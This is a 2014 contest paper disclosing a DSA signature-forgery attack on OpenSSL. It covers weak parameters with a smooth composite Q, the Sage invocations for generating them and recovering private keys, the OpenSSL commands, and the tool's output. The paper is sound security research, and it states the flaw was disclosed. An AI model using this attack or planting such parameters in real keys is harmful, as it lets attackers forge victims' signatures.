Indiscreet Logs: Forging DSA Signatures in OpenSSL

Submission to the 2014 Underhanded Crypto Contest

Aleksander Essex
Department of Electrical and Computer Engineering
Western University, Canada
aessex@uwo.ca

December 2014

Abstract

We present a universal signature forgery attack on OpenSSL's implementation of DSA. Facilitated by the observation that OpenSSL does not fully verify the correctness of DSA domain parameters, the attack proceeds in a scenario where an attacker can convince a victim to accept maliciously constructed (i.e., weak) parameters. We provide a program for generating such "evilized" parameters, and for recovering the private signing key from the public verification key. Finally we demonstrate the attack in OpenSSL.

1 Introduction

In this submission we present a novel universal signature forgery attack on OpenSSL's implementation of the Digital Signature Algorithm (DSA). The contributions of this submission are twofold:

1. A previously (to our knowledge) unknown universal signature forgery attack on OpenSSL's DSA implementation,
2. A program to generate malicious DSA domain parameters, and to regenerate an OpenSSL-encoded DSA private signing key file from the corresponding public key file, allowing the attacker to immediately begin forging arbitrary DSA signatures in OpenSSL.

Vulnerability disclosure. We disclosed this vulnerability to the OpenSSL team simultaneously with our initial submission to the contest.

2 Attack Summary

DSA domain parameters consist of a prime modulus P of suitable length, a prime Q of suitable length such that $Q|(P-1)$, and a generator G of order Q, i.e., where $G^Q \equiv 1 \mod P$, where $1 < G < (P-1)$. The premise of the attack is to get the user to generate their keypair (Y, X) where $Y = G^X \mod P$ using a G of smooth composite instead of a large prime order. In such a scenario solving the discrete logarithm problem, i.e., recovering X given Y, P, Q, G becomes easy, allowing the attacker to recover the private signing key. The attack is summarized as follows:

What it does. If an attacker can convince a user to generate a DSA keypair using maliciously constructed (i.e., weak) domain parameters, the attacker will be able to recover the private signing key from the associate public key. The attacker will then be able to forge arbitrary signatures of the user. Although such weak parameters are easily detectable, the attack is made possible by OpenSSL's failure to check them sufficiently.

How it works. An attacker convinces a user to accept a maliciously constructed DSA parameters file. Instead of Q (i.e., the group order) being a large prime, the attacker constructs Q to be a smooth composite. The result is that the discrete logarithm problem is now no longer hard. The user begins by generating a private signing key X. When the user generates and publishes their public verification key $Y = G^X \mod P$, the attacker uses, for example, the Pohlig-Hellman algorithm to recover signing key X. From there the attacker is able sign arbitrary messages.

Why it works. The attack arises from the fact that OpenSSL does not check that Q is prime during key generation, signing, and verification. This allows the attack to proceed undetected across the entire signature work flow without users encountering any errors.

Discussion of Threat Model. Although in a typical use-case scenario the user would generate their *own* DSA parameters (and hence would always end up with a secure keypair), since domain parameters are ultimately public values, and since the mental model of a user is likely to include the natural expectation that OpenSSL would undertake to check them, it's conceivable that a user could be convinced to use externally generated set of domain parameters. This is standard practice, for example, in the elliptic curve setting.[1]

[1] http://csrc.nist.gov/groups/ST/toolkit/documents/dss/NISTReCur.pdf

3 Remarks on General Principles of the Contest

In this section we address how our submission meets the various contest requirements.

Submission Category: Add a Backdoor. In this case the backdoor is established by injecting malicious parameters, as opposed to injecting code.

Expert Review. The argument that a crypto expert would not reasonably be expected to notice the vulnerability is twofold: (a) the vulnerability is exploited without any change to OpenSSL's code, rather instead by using malicious parameters files (which do not immediately appear invalid upon inspection—see point 4.), and (b) the vulnerability in OpenSSL gone unnoticed presumably since the original code with written (ca. 1995-98).

The Cryptographic Trick. The exploit involves correctly formatted but cryptographically weak parameters. Instead of working in a large prime order group in which the discrete logarithm problem is conjectured to be hard, we work in smooth composite order group in which the discrete logarithm problem is known to be efficiently computable.

A Vulnerability in Plain View. Since OpenSSL doesn't raise any errors at runtime, the only other way a user might notice the attack was if they inspected the key file. That Q is in fact composite, however, is not immediately obvious from visual inspection of the public key. Consider the following example set of evilized DSA parameters. For simplicity these parameters are artificially small (though the point extends to full length parameters:

```
$ openssl dsa -pubin -in dsapublic.pem -noout -text
read DSA key
pub:
    00:b9:71:95:00:b5:ef:6c:64:17:44:37:23:a7:3c:
    31:54:17:23:d0:38:44:3a:0b:29:b2:6b:e3:76:08:
    74:03:19:1b:e0:09:13:df:c5:13:9f:92:9c:48:ed:
    e7:72:60:f0:bd:17:a2:5b:99:37:9e:d7:ae:42:c8:
    21:bf:db:11:07
P:
    00:d1:2d:17:c2:ad:c5:65:06:b5:81:a1:1f:0e:27:
    ee:eb:77:8f:e1:6d:36:d6:2d:07:8b:63:f5:5d:d8:
    51:02:2f:ef:f0:68:a1:3e:c3:37:a8:46:43:64:a4:
    7c:5b:53:90:f7:b9:75:e5:c6:28:10:25:66:26:35:
    c4:5d:3d:f4:af
Q:
    00:d6:d1:90:ed:23:26:7f:20:a6:e5:3e:59:ad:34:
    c9:3f:a5:85:1e:4d
G:
```

```
00:b9:3d:02:cd:63:00:e1:27:3d:b6:7e:20:aa:a1:
fe:07:74:a6:ac:10:0d:3f:d5:d1:23:98:a2:dc:38:
99:d8:bb:19:26:44:0c:74:4d:6a:3c:8f:d8:35:49:
82:88:2e:77:e8:25:72:65:b5:e2:0c:a7:13:3d:e6:
ca:21:46:89:77
```

Observe here the Q parameter:

```
0xd6d190ed23267f20a6e53e59ad34c93fa5851e4d
```

is not prime, though it is not immediately obvious from visual inspection (e.g., it is not divisible by 2 or 5, etc). In fact the factorization of Q is as follows:

$$\begin{aligned} Q = 967 * 971 * 977 * 983 * 991 * 997 * 1009 * 1013 * 1019 \\ *1021 * 1031 * 1033 * 1039 * 1049 * 1051 * 1061 \end{aligned}$$

Bugs in Existing Software. The vulnerability arises from the fact that OpenSSL is systematically neglecting to check the primality of Q. To our knowledge, this fact was not previously known. The exploit relies on the fact that, in each of the following steps:

1. DSA keypair generation,
2. DSA signature generation,
3. DSA signature verification,

the program successfully completes private-key operations using invalid parameters, *without* raising any errors.

4 Implementation

We implemented the exploit in Sage[2], a Python based symbolic math package to facilitate a number of cryptographic operations such as integer factorization, primality testing and the implementation of the Pohlig-Hellman algorithm for computing discrete logarithms. We used the M2Crypto[3] library for reading OpenSSL PEM files and the PyCryoto[4] library for writing OpenSSL PEM files.

4.1 Demonstration

The file `crackdsa.sage` is included with this submission allowing the reader to reproduce the demo below. Configuring Sage and the requisite libraries was problematic, so an evilized set of DSA parameters `dsaparams.pem` are included allowing the reader at very least to reproduce OpenSSL allowing a keypair and signature generation/verification to proceed with a composite Q.

[2] http://www.sagemath.org/
[3] https://pypi.python.org/pypi/M2Crypto
[4] https://www.dlitz.net/software/pycrypto/

4.1.1 Part 1: Generate "Evilized" DSA Parameters

The process begins with an attacker generating evilized DSA domain parameters. The parameters are otherwise valid (e.g., NIST/FIPS appropriate lengths) with the exception that instead of the group order Q being prime (as would be necessary to guarantee security under the discrete log assumption), Q is selected to be a smooth composite. In our implementation, Q is chosen to be a smooth composite of sufficient length (i.e., $|Q| = 256$ with $|P| = 2048$). The factors of Q are static, and were chosen heuristically. The attacker generates prime modulus P at random such that $Q|(P-1)$, and a suitable generator G (i.e., where $G^Q \equiv 1 \mod P$) is chosen thereafter. In the Sage interpreter the attacker would type:

```
sage: load("crackdsa.sage")

sage: genEvilDSAparams("dsaparams.pem")
```

The evilized DSA domain parameters are now contained in specified file. To view the parameters in a terminal type:

```
$ openssl dsaparam -in dsaparams.pem -noout -text
```

4.1.2 Part 2: Target Generates Keypair With Evil Parameters

A central step of the exploit requires the attacker to convince the target (through social engineering or otherwise) to accept the evilized parameters and use them to generate a key pair. At that point the target would proceed to generate a DSA key pair as normal in a terminal:

```
$ openssl gendsa dsaparams.pem -out key.pem

$ openssl dsa -in key.em -pubout -out pubkey.pem
```

4.1.3 Part 3: Recover Private Key from Public Key

After the target has generated a key pair using the evilized parameters, the attacker would obtain the public key file through normal forms for distribution. Once again using the `crackdsa` program in the SAGE interpreter, the attacker would run:

```
sage: crack("pubkey.pem")
```

The program parses the public key and uses the Pohlig-Hellman algorithm to recover the private (signing) key. The result is re-encoded and written to a private key file. At this point the attacker can immediately begin to generate forged signatures.

4.1.4 Part 4: Verify Results

To demonstrate that the attacker has correctly recovered the signing key, *and* that OpenSSL will accept it, we first generate an arbitrary message and digest:

```
$ echo "foobar" > foo.txt

$ openssl sha1 < foo.txt | awk '{print $1}' > foo.sha1
```

Next we sign the hash using the attacker-recovered private key file:

```
$ openssl dgst -dss1 -sign recoveredDSAkey.pem foo.sha1 > sigfile.bin
```

Finally, we use the original target-generated public key file to verify the signature:

```
$ openssl dgst -dss1 -verify pubkey.pem -signature sigfile.bin foo.sha1
```

OpenSSL responds with: `Verified OK`

4.2 Results

Using a Macbook Air with Sage 5.10 and OpenSSL 1.0.1j we were able to recover the 256-bit private DSA signing key in about **7 seconds**:

```
sage: crack("pubkey.pem")
[+] Loading DSA public key...
[+] DSA parameters were loaded successfully
[+] Starting the Pohlig-Hellman algorithm...
[+] Beginning to factor Q. This may take a long time...
[+] Q was successfully factored
[+] Beginning to compute the discrete log of the public key...
[+] Computed discrete log of factor 1 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 2 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 3 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 4 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 5 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 6 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 7 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 8 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 9 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 10 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 11 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 12 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 13 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 14 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 15 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 16 of 17 of Q (approx. 15.0 bits in length)
[+] Computed discrete log of factor 17 of 17 of Q (approx. 15.0 bits in length)
[+] Found the discrete log of all individual factors of Q
[+] Using Chinese Remainder Theorem to reassemble private key...

[+] SUCCESS: Private/signing key was successfully recovered and verified correct!
[+] Total time: 7.4 seconds

[+] Private signing key is:
    7e5c337858e53c39573de901b4aab0b338e66e9a6f5572c2a1e930fff5ff3737
```

```
[+] Writing private key file...
[+] Private key was written to pem encoded DSA keyfile: recoveredDSAkey.pem
[+] You may use this file to immediately begin forging signatures in OpenSSL

Thank-you for not checking the primality of Q. Have a nice day.
```

5 Conclusion

In this submission we demonstrated that in the event an attacker can convince a user to accept maliciously generated DSA domain parameters, the attacker would be able to efficiently recover the private signing key allowing them to forge arbitrary DSA signatures. We observed that OpenSSL does not check that DSA keypairs are generated in groups of large prime order, and that it does not throw any errors at any point during keygen, signing or verification.